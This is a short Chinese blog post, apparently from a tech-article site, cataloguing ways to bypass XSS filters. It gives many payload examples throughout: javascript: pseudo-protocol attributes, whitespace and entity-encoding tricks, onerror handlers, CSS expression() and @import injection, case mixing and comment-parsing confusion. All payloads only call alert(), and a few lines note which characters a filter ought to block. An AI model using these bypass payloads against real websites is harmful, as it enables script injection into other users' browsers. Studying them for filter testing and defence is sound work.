绕过XSS-Filter

作者: Bricex | 来源:发表于2017-10-20 16:55 被阅读0次

    绕过XSS-Filter

    (1)利用<>标记

    XSS-Filter通常过滤转义“<>”“<script>”等字符

    (2)利用HTML标签属性值

    很多HTML标记的属性支持javascript:[code]伪协议形式

    例:<table background=“javascript:alert(/xss/)"></table>

    <img src=“javascript:alert('xss');”>

    但不是所有Web浏览器都支持JavaScript伪协议,不是所有标记属性都能产生XSS,通常只有引用文件的属性才能,常见属性:

    href=

    lowsrc=

    bgsound=

    background=

    value=

    action=

    dynsrc=

    (3)空格回车Tab

    XSS Filter把敏感的输入字符列入黑名单处理,可以利用空格、回车和Tab键绕过 例:

    <img src="javas

    script:

    alert(/xss/)">

    (4)对标签属性值转码

    对普通HTML标记的属性值过滤,还可以通过编码处理来绕过。

    Tab符的ASCII码&#9、换行符&#10、回车符&#13可以插入任意地方

    为了防范标签纸属性编码的XSS,最好也过滤&#/等字符

    (5)产生自己的事件

    不能依靠属性值跨站,通过事件,如click、mouseover、load等,响应事件的函数叫事件处理函数例:

    <img src="#" onerror=alert(/xss/)>

    onerror是IMG标记的一个事件,页面发生错误,该事件被激活。上例,解释IMG标记时,加载src属性引用的图片地址,若图片不存在就触发onerror事件。其他事件:

    onResume

    onReverse

    onRowDelete

    onRowInseted

    onSeek

    onSynchRestored

    onTimeError

    onTrackChange

    onURLFlip

    onRepeat

    onMediaComplete

    onMediaError

    onPause

    onProgress

    onOuOfSync

    oncontrolselect

    onlayoutcomplete

    onafterprint

    onbeforeprint

    ondataavailable

    ondatasetchanged

    ondatasetcomplete

    onerorupdate

    onrowenter

    onrowexit

    onrowdelete

    onrowinserted

    onselectionchange

    onbounce

    onfinish

    onstop

    onesizeend

    (6)利用CSS跨站

    CSS中使用expression同样可以触发XSS。例:

    <div style="width: expression(alert('xss'));">

    脚本代码通常被嵌入到style标签/属性中。style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤。

    例:

    <div style="list-style-image:url(javascript:alert(‘xss’))">

    <img style="background-image:url(javascript:alert('xss'))">  等同于

    <img src=" javascript:alert('xss')">

    此外,可以使用<link>标签引用CSS。

    除<link>标签外,网页中引用外部CSS还可以利用@import导入,例:

    <style type='test/css'/>import url(http://.../xss.css);</style>

    http://.../xss.css中内容是:

    .showCSS{

    event:expression(

    onload = function()

    {

    alert('xss');

    }

    )

    @import还可以直接执行JS代码

    <style>

    @import 'javascript:alert("xss")';

    </style>

    因此,包含expression、javascript、import等敏感字符的样式表也要进行过滤。

    (7)扰乱过滤规则

    转换大小写、大小写混淆、不用双引号用单引号、不使用引号。

    IMG标记和src属性之间没有空格<img/src="javascript:alert('xss');">

    利用expression跨站时,可以构造不同的全角字符。

    运用/**/来注释字符,样式标签中的\和结束符\0。

    将CSS关键字转码,e转\65,改变编码中0的数量\065、\0065

    利用浏览器解析HTML注释存在的问题来执行JS,例:

    <!--<img src="--><img src=x onerror=alert(1)//">

    纯文本标签造成的混乱标记,例:

    <style><img src="</style><img src=x onerror=alert(1)//">

    相关文章

      网友评论

        本文标题:绕过XSS-Filter

        本文链接:https://www.haomeiwen.com/subject/lckdyxtx.html